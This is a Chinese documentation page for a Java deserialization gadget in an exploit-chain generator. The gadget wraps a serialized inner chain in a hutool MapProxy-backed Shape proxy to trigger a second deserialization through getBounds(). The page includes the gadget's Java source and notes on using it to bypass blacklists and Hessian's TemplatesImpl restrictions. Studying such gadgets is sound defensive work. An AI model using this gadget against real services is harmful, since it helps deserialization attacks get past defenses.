Skip to content

Latest commit

 

History

History
63 lines (54 loc) · 4.42 KB

File metadata and controls

63 lines (54 loc) · 4.42 KB

hutool.MapProxy二次反序列化(MapProxy)

  • 类别:javanative 别名:— 优先级:30
  • 作者:—
  • 依赖hutool:cn.hutool.core.map.MapProxy(hutool-core)

作用

用 hutool 的 MapProxy(实现 InvocationHandler)作为动态代理处理器,代理成 java.awt.Shape;把「内层链」序列化字节存入代理背后的 HashMap。当上游 getter 跳板触发 getBounds() 时,经 MapProxy.invoke 取出并反序列化该字节,形成二次反序列化桥梁。与 SignedObject 占据相同槽位,是其可互换的平替。

链接标签

  • 入口 tagsSignedObjectChainGetter
    • Getter —— 需上一环「调用危险 getter」的跳板触发,被调 getter 为 getBounds()
    • SignedObjectChain —— 与 SignedObject 共用的入口标签,二者在二次反序列化链中可互换。
  • 衔接 nextTagsJavaNativeDeserializePayloadCustomJavaDeserialize
    • JavaNativeDeserializePayload —— 下游为打包内层字节 payload 的 JavaNativeSerialization
    • CustomJavaDeserialize —— 或自定义 Java 反序列化数据。
  • excludes:无。

源码剖析

public Object getObject(Object obj) throws Exception {
    HashMap<String, byte[]> map = new HashMap<>();
    map.put("bounds", CommonMethod.handleSerialized(obj));
    cn.hutool.core.map.MapProxy mapProxy = cn.hutool.core.map.MapProxy.create(map);
    Class<Shape> proxyClass = Shape.class;
    Shape proxy = (Shape)Proxy.newProxyInstance(proxyClass.getClassLoader(),
        new Class[]{proxyClass}, (InvocationHandler)mapProxy);
    return proxy;
}
  • CommonMethod.handleSerialized(obj) 把内层链产物序列化成 byte[],以键 "bounds" 放入 HashMap
  • MapProxy.create(map) 用该 map 建 hutool MapProxy(它本身是 InvocationHandler)。
  • Proxy.newProxyInstance 生成实现 java.awt.Shape 接口的动态代理,处理器即 mapProxy
  • 运行期原理:外层链对该 Shape 代理调用 getBounds() → 触发 MapProxy.invoke → 按方法名映射到键 "bounds" 取值,并在类型转换/取值过程中对存放的字节流执行嵌套反序列化,从而进入「第二段」Java 原生反序列化。选 Shape 是因为其 getBounds() 是无参 getter,便于经 getter 跳板触发。
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    Object object = chain.doCreate(context);                              // 取内层对象
    context.put(ContextTag.GETTER_PARAM_NAME_KEY, this.paramName);        // "bounds"
    context.put(ContextTag.SPECIAL_METHOD_NAME_KEY, this.methodName);     // "getBounds"
    context.put(ContextTag.SUPER_CLASS_NAME_KEY, SignedObject.class);
    return this.getObject(object);
}
  • chain.doCreate 取内层对象,交由 getObject 序列化封装为 Shape 代理。
  • 向 context 注入 GETTER_PARAM_NAME_KEY="bounds"SPECIAL_METHOD_NAME_KEY="getBounds" 告知上游要触发的属性/方法;SUPER_CLASS_NAME_KEY=SignedObject.class 表明其在链中扮演与 SignedObject 等同的二次反序列化槽位角色。

参数(@Param)

本 gadget 无 @ParamparamName="bounds"methodName="getBounds" 为内部固定字段。

适用版本与原理要点

  • 依赖 hutool(cn.hutool.core.map.MapProxy)在目标 classpath 存在。
  • 定位为二次反序列化跳板:内层 Java 序列化数据以字节流形式存放,可绕过部分只审查外层对象类型的黑名单;尤其适用于 Hessian 反序列化,用于建立通往 Java 原生反序列化的桥梁,绕过 Hessian 下对 TemplatesImpl 的限制。
  • SignedObjecttags/nextTags 完全一致,是同槽位平替;本身不产出 RCE,需接内层完整链。

所属预设链

自由构件,未直接出现在预设链(usedInChains 为空)。可在「二次反序列化链」(chain 26)、Rome 二次反序列化链(chain 35/36)中替换 SignedObject 使用。

关联